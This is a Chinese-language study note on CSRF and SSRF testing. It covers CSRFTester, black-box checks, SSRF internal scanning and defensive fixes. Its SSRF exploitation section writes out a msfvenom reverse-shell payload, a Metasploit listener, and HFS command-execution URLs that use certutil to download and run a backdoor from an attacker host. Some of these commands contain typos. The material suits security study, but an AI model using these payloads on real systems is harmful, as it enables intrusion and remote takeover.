文章目录
CSRF
CSRF原理
测试CSRF漏洞的工具:CSRFTester
CSRFTester
设置代理,会抓取新建管理员时向服务器发送的数据包,然后用抓取的数据包构造HTML页面。注意发送注册信息的形式(表单?IMG?)CSRF利用流程:获取目标的触发数据包;利用CSRFTester构造导出;诱使受害者访问特定地址触发。
CSRF安全问题黑盒怎么判断
-
看验证来源,也就是是否采用同源策略,看数据包
referer
的值,本身网站的数据包认定安全,不是本身网站发送的数据包为非法数据包。同源策略也不安全,如果改
referer
的值,同源策略就失效了。如何测试同源策略?
从后台点击
新建文章
肯定允许访问,如果直接从百度访问新建文章的URL,也允许访问,说明不存在同源策略。 -
看凭证有无token;
token值用来判断是不是同一个用户。每操作一次都会更改token值,而且会在操作前对比token值。token值可以有效防御CSRF攻击
这里没有token,说明只要是这个用户就行了,不需要证明发送数据包的是不是同一个主机。
-
看关键操作有无验证。
关键验证就好比,修改密码的时候会验证你的用户名和密码。
SSRF
SSRF原理
SSRF就相当于php中的文件包含
SSRF黑盒可能出现的地方
有SSRF,可以做什么事儿?
-
内网扫描
内网IP有三个段:10段(10.0.0.0-10.255.255.255即10.0.0.0/8)、172段(172.16.0.0-172.31.255.255即172.16.0.0/12)、192段(192.168.0.0-192.168.255.255即192.1688.0.0/16)
访问卡了,有两种情况:请求被驳回;请求有数据返回。要是真的不存在,会直接404 not found
-
协议
各个语言支持的协议:
通过
file
协议可以读取本地文件,文件路径可以通过网站报错来知道,还可以读取中间件、 系统默认文件。 -
漏洞利用
直接利用中间件或其他服务漏洞获取系统权限。这里利用HFS漏洞HFS远程命令执行漏洞
bash# 生成后门代码 msfvrnom -p /winnodws/meterpreter/reverse_http LHOST=x.x.x.x LPORT=6666 -f exe -o xx.exe # 监听本机6666端口 use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 0.0.0.0 ser lport 6666 run # 远程下载后门文件 http://127.0.0.1/?search==%00{.exec|cmd /c certutil.exe -urlcache -split -f http://x.x.x.x:6666/xx.exe xx.exe.} # 执行后门文件 http://127.0.0.1/?search==%00{.exec|cmd /c xx.exe.}
SSRF漏洞挖掘
思路:
- 社交分享
qzone.qq.com?url=www.xiaodi8.com
,直接改为qzone.qq.com?url=htttp://127.0.0.1
来测试SSRF。如果一个网站有预览、快照等图片加载功能功能,说明网站有请求过资源。 - 地址加载跳转界面,本身网站并不是一个登录界面,它会请求资源地址来加载登录页面。就说明它有触发本地去请求登陆页面,然后把登录页面的资源加载出来。
总的来说:如果网站接收你的值,并且会把这个值进行资源访问,就可能存在SSRF。
SSRF白盒可能出现的地方:
- 功能点抓包指向代码块审计
- 功能点函数定位代码块审计
SSRF常见安全修复防御方案:
- 禁用跳转
- 禁用不需要的协议
- 固定或限制资源地址
- 错误信息统一信息处理